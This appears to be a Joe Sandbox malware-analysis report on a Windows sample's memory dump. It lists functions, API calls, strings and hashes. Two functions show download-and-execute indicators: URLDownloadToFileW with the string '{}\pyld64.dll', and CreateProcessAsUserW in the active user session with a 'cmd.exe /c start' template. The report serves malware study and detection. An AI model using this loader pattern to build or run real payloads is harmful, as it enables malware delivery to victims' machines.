Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ProtectVirtual
String ID: AppPolicyGetProcessTerminationMethod
API String ID: 544645111-2031265017
Opcode ID: 6af6a1df756a290feac13a9209535a663cea78d8fa153c011f8c399839e9a381
Instruction ID: 995eb6247d74b83ed156c7e0809d713a8312f3bacb1fb7dd1ba599bdaaaf54a4
Opcode Fuzzy Hash: 6af6a1df756a290feac13a9209535a663cea78d8fa153c011f8c399839e9a381
Instruction Fuzzy Hash: C911D321B1C24A92EB28BB52A844576A2A1BF547B4F941730EE3C833D5DF3DE55AC700

Function 00007FF646E641B6 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF646E641E3

Part of subcall function 00007FF646E642D0: GetModuleHandleExW.KERNEL32 ref: 00007FF646E642F5
Part of subcall function 00007FF646E642D0: GetProcAddress.KERNEL32 ref: 00007FF646E6430B
Part of subcall function 00007FF646E642D0: FreeLibrary.KERNEL32 ref: 00007FF646E64327

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: e056150dbe5959c1b29f5827ea7c57a5328476036038a9b8cb92d07f986d9151
Instruction ID: baeb3340f34fd5d6d120734e9300f62a0c4b52968e1fb286b88b68d8cefad995
Opcode Fuzzy Hash: e056150dbe5959c1b29f5827ea7c57a5328476036038a9b8cb92d07f986d9151
Instruction Fuzzy Hash: 58214B32A0CB02C9EB60BFA4A4842BD67E4FB44718FA4A635D71D83AD5DF399485C740

Function 00007FF646E6E56C Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6E597

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8cff0e8c4024e7c5cf76d3b39f39904047d97a4f545cc4d771e468e82e3c5dd
Instruction ID: 276c741c9467666df1e0da8cd8af62305569577d3ee84082cff3e38b9fd74001
Opcode Fuzzy Hash: f8cff0e8c4024e7c5cf76d3b39f39904047d97a4f545cc4d771e468e82e3c5dd
Instruction Fuzzy Hash: 03116A32A1C65286F314BB14A54047DF6E5FF80780F952534E75DC7AD2EE7EE8518B40

Function 00007FF646E6E474 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF646E677C0: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF646E672A7), ref: 00007FF646E67815

InitializeCriticalSectionEx.KERNEL32(?,?,00000000,00007FF646E6E775,?,?,00000000,?,?,00007FF646E7216C), ref: 00007FF646E6E4BB

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: AllocateCriticalHeapInitializeSection
String ID:
API String ID: 2575566380-0
Opcode ID: 80ea160bcd2fd8f54d9b585bad03042cea780f9ebc800eefabf6074e49d7f9d3
Instruction ID: f09344ab802aecc5a464b9c6a54b7f3b2af7b302f16f904e3ecaff82586455f9
Opcode Fuzzy Hash: 80ea160bcd2fd8f54d9b585bad03042cea780f9ebc800eefabf6074e49d7f9d3
Instruction Fuzzy Hash: C511CE3272C79186E614AB25D14016EA7A4FB44BA0FA89635E76E83BC5CF39E463C700

Function 00007FF646E677C0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF646E672A7), ref: 00007FF646E67815

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 657c6c69694bc854a6e6eb44efcb9fa31419599763e11a255899f3767d97c627
Instruction ID: 6c3185ca743a45c4d8b9cb8dbfa0f6672bca64b5bff9e982ddc77781b101e6e6
Opcode Fuzzy Hash: 657c6c69694bc854a6e6eb44efcb9fa31419599763e11a255899f3767d97c627
Instruction Fuzzy Hash: E9F04950F0D21281FE54B76194113B592D17F84B81F9C3430CA1EC66E2EE1EE8808250

Function 00007FF646E674CC Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF646E67502

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: __vcrt_uninitialize_ptd
String ID:
API String ID: 1180542099-0
Opcode ID: 36d84cb366b0d31bca4bff76c8ee4973f053fbe9bd1cf199c60f4096a849ec9b
Instruction ID: a3b697c751fea54b8dfb4a6989dc8c6a43b7d75fb2634952eb5b3eeef8634a89
Opcode Fuzzy Hash: 36d84cb366b0d31bca4bff76c8ee4973f053fbe9bd1cf199c60f4096a849ec9b
Instruction Fuzzy Hash: 40E04620D1D24380FE65BB3818462BA96D03F65310FE03A76E72DC22C2EF2F745A9621

Function 00007FF646E5B150 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF646E5B164

Part of subcall function 00007FF646E5CCF0: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF646E5CCF8
Part of subcall function 00007FF646E5CCF0: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF646E5CCFD

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 5c5b623771b2ec85650aaa776922176f21024c877756428bb6d45fbbbbfad373
Instruction ID: effaaa26264020e671ad4b0d386fb3c5777617bb64e3f68a01f3a1f9e51f8795
Opcode Fuzzy Hash: 5c5b623771b2ec85650aaa776922176f21024c877756428bb6d45fbbbbfad373
Instruction Fuzzy Hash: 87E0E250E1D243D0FEA83AE516732BA96C53F65744F5014BCE92ECA2C39E0F304E6662

Function 00007FF646E69514 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF646E69534

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 771e0f3c09b906f71ded665401910e6f56f866ace11000d63700c01ec3f64d6d
Instruction ID: 5cb156d151e9d4b7df8178f1133e4bbf39e429f47bce948ee9fd73c5df15c535
Opcode Fuzzy Hash: 771e0f3c09b906f71ded665401910e6f56f866ace11000d63700c01ec3f64d6d
Instruction Fuzzy Hash: 27D0C925B3D541C3E740BB11D8897A5A369B798711F804025E94AC2694DF7DC259CB10

Non-executed Functions

Function 00007FF646E58E3C Relevance: 27.2, APIs: 18, Instructions: 229fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32 ref: 00007FF646E58EE9
GetLastError.KERNEL32 ref: 00007FF646E58EF3
FindFirstFileW.KERNEL32 ref: 00007FF646E58F0A
GetLastError.KERNEL32 ref: 00007FF646E58F16
FindClose.KERNEL32 ref: 00007FF646E58F24
__std_fs_open_handle.LIBCPMT ref: 00007FF646E58FB7
CloseHandle.KERNEL32 ref: 00007FF646E58FCD
CloseHandle.KERNEL32 ref: 00007FF646E59140

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: 149ecd05e269b5566a53e767e1482c91004895e9f8d851a993e908b7a1cf9dcf
Instruction ID: 48923a3bec190bf852c687fb1a0392519cb2535d50a3e199a792e41eabd21673
Opcode Fuzzy Hash: 149ecd05e269b5566a53e767e1482c91004895e9f8d851a993e908b7a1cf9dcf
Instruction Fuzzy Hash: C291D231B0CA5286E774BB65A8042BAA3E0BF457B4F144734DA6EC76D1EF3EE8058700

Function 00007FF646E56D80 Relevance: 21.5, APIs: 8, Strings: 4, Instructions: 476filenetworkCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF646E56DC8
URLDownloadToFileW.URLMON ref: 00007FF646E5717D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E57772

Strings

{}\pyld64.dll, xrefs: 00007FF646E56E0E
ios_base::eofbit set, xrefs: 00007FF646E57715
ios_base::failbit set, xrefs: 00007FF646E5770E
ios_base::badbit set, xrefs: 00007FF646E57702

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CurrentDirectoryDownloadFile_invalid_parameter_noinfo_noreturn
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set${}\pyld64.dll
API String ID: 473140952-662293507
Opcode ID: 80d47b2e92a9ca075d771af39df049572f9ed0a37e079e4bba7d41141b3adeb0
Instruction ID: 44a530a6070e21ca5690150c65f75f72879bfe408aea17206a9ce023dae5aa15
Opcode Fuzzy Hash: 80d47b2e92a9ca075d771af39df049572f9ed0a37e079e4bba7d41141b3adeb0
Instruction Fuzzy Hash: ED427322A1CBC640EB61F738E8443ABA7A0FB95360F444376D6ED866E6DF6DD145CB00

Function 00007FF646E47800 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123processCOMMON

Download Yara Rule

APIs

WTSGetActiveConsoleSessionId.KERNEL32 ref: 00007FF646E4782A
WTSQueryUserToken.WTSAPI32 ref: 00007FF646E47843
CreateProcessAsUserW.ADVAPI32 ref: 00007FF646E4794E
CloseHandle.KERNEL32 ref: 00007FF646E4795A
CloseHandle.KERNEL32 ref: 00007FF646E47968
CloseHandle.KERNEL32 ref: 00007FF646E47972
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E479E2

Strings

cmd.exe /c start "" "{}", xrefs: 00007FF646E4788C

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CloseHandle$User$ActiveConsoleCreateProcessQuerySessionToken_invalid_parameter_noinfo_noreturn
String ID: cmd.exe /c start "" "{}"
API String ID: 3081551734-1675525727
Opcode ID: 638af90035e60b4472c70caaa74f4bececc3157a80f3a5101178a3a1d03564c4
Instruction ID: 1be056ddb86572bfd169894639a94c943ed6027c05a11bd461bedd5f1009fb47
Opcode Fuzzy Hash: 638af90035e60b4472c70caaa74f4bececc3157a80f3a5101178a3a1d03564c4
Instruction Fuzzy Hash: 7D516232E1CB818AE700AF75E8403ADB3F1FB99748F105225EB8C92A69DF79D195C740

Function 00007FF646E720DC Relevance: 13.8, APIs: 9, Instructions: 282fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF646E71E04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E71E53
Part of subcall function 00007FF646E71E04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E71ECB
Part of subcall function 00007FF646E71E04: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E71F1C

CreateFileW.KERNEL32 ref: 00007FF646E721F2
CreateFileW.KERNEL32 ref: 00007FF646E72250
GetLastError.KERNEL32 ref: 00007FF646E72280
GetFileType.KERNEL32 ref: 00007FF646E72298
GetLastError.KERNEL32 ref: 00007FF646E722A2
CloseHandle.KERNEL32 ref: 00007FF646E722D5
CloseHandle.KERNEL32 ref: 00007FF646E7243B
CreateFileW.KERNEL32 ref: 00007FF646E72470
GetLastError.KERNEL32 ref: 00007FF646E7247F

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 28158cdeaa84f42ab127868234f8a48a09de13adae3ee1d906704fc565d780cc
Instruction ID: ad82d997240e7b99900461bf308cdf93cea27d9d6b16025fc970a09fdaed3e10
Opcode Fuzzy Hash: 28158cdeaa84f42ab127868234f8a48a09de13adae3ee1d906704fc565d780cc
Instruction Fuzzy Hash: 38C1B332B2CA428AEB10FF79C4802AC77A1FB49B98F115225DB1E97796DF3AD455C700

Function 00007FF646E705B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 231COMMONLIBRARYCODE

Download Yara Rule

APIs

TranslateName.LIBCMT ref: 00007FF646E70622

Part of subcall function 00007FF646E6D160: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6D193

TranslateName.LIBCMT ref: 00007FF646E70660
GetACP.KERNEL32(?,00000000,?,00000092,?,00007FF646E64D9E), ref: 00007FF646E706AA
IsValidCodePage.KERNEL32(?,00000000,?,00000092,?,00007FF646E64D9E), ref: 00007FF646E706E2
GetLocaleInfoW.KERNEL32 ref: 00007FF646E70899

Strings

utf8, xrefs: 00007FF646E707C1

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: NameTranslate$CodeInfoLocalePageValid_invalid_parameter_noinfo
String ID: utf8
API String ID: 2487361160-905460609
Opcode ID: 8518ae16cba9fef110025f42e30d7e11c41da75d22b966f6f320f54430d3ca03
Instruction ID: 432c2b7b7cda69d987ec4be31aa773d794e38d858ad0600632b9995409517596
Opcode Fuzzy Hash: 8518ae16cba9fef110025f42e30d7e11c41da75d22b966f6f320f54430d3ca03
Instruction Fuzzy Hash: FD919E76A0C78285EB60BBA1D4506BAA3E1FF84B85F844135DF4C87B86EF3EE5558700

Function 00007FF646E5B800 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF646E5B81C
RtlCaptureContext.KERNEL32 ref: 00007FF646E5B849
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF646E5B863
RtlVirtualUnwind.KERNEL32 ref: 00007FF646E5B8A4
IsDebuggerPresent.KERNEL32 ref: 00007FF646E5B8F8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF646E5B915
UnhandledExceptionFilter.KERNEL32 ref: 00007FF646E5B920

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: bd9d23b13804ddfa70e3fdc804b5186687f88255e5b5e13a7b600eccfc791173
Instruction ID: a5ab2c43459e2e9540b6c78d1930df272284d5824b13c479ca98556f115eef63
Opcode Fuzzy Hash: bd9d23b13804ddfa70e3fdc804b5186687f88255e5b5e13a7b600eccfc791173
Instruction Fuzzy Hash: E1313E7260DB81C5EB60BF60E8543EDB3A4FB44749F404039DA4D87B99DF39D5488710

Function 00007FF646E71010 Relevance: 9.2, APIs: 6, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF646E64D97), ref: 00007FF646E71169
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF646E71182
IsValidCodePage.KERNEL32 ref: 00007FF646E711BE
IsValidLocale.KERNEL32 ref: 00007FF646E711D4
GetLocaleInfoW.KERNEL32 ref: 00007FF646E71230
GetLocaleInfoW.KERNEL32 ref: 00007FF646E7124C

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultEnumLocalesPageSystemUser
String ID:
API String ID: 3082464267-0
Opcode ID: 525b0c438fb4035c77fddbf3c0749051ca89bb88eca90a5a67994e4ef765752f
Instruction ID: 303fe926aebaca0a0038c4c0e39fa0b2bdb1391f1c27a488d7f4a0df2d7f71b7
Opcode Fuzzy Hash: 525b0c438fb4035c77fddbf3c0749051ca89bb88eca90a5a67994e4ef765752f
Instruction Fuzzy Hash: B6714762F1C74289FB50BB60D8516FDA3E0BF55B89F484035CA0D97696EF3EA849C350

Function 00007FF646E6213C Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF646E621C7
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF646E621DF
RtlVirtualUnwind.KERNEL32 ref: 00007FF646E6221A
IsDebuggerPresent.KERNEL32 ref: 00007FF646E62253
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF646E6225D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF646E62268

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b4bd78832c63ffc38bc4b7b9bc9cfec7b2e0e63a8aba44b8f794553ba38bce15
Instruction ID: f092813eccbe27cf89828799ffec0f78a155dfeb5d2c904f936213101f24b4a1
Opcode Fuzzy Hash: b4bd78832c63ffc38bc4b7b9bc9cfec7b2e0e63a8aba44b8f794553ba38bce15
Instruction Fuzzy Hash: 8E41703261CB8186E760FB65E8443AEB3A0FB84758F500135EA8D83B9ADF3DD549CB00

Function 00007FF646E70E18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,00007FF646E711B1), ref: 00007FF646E70E71
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,00007FF646E711B1), ref: 00007FF646E70E9E
GetACP.KERNEL32(?,?,?,?,?,?,?,00007FF646E711B1), ref: 00007FF646E70EB4

Strings

OCP, xrefs: 00007FF646E70E4D
ACP, xrefs: 00007FF646E70E3D

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
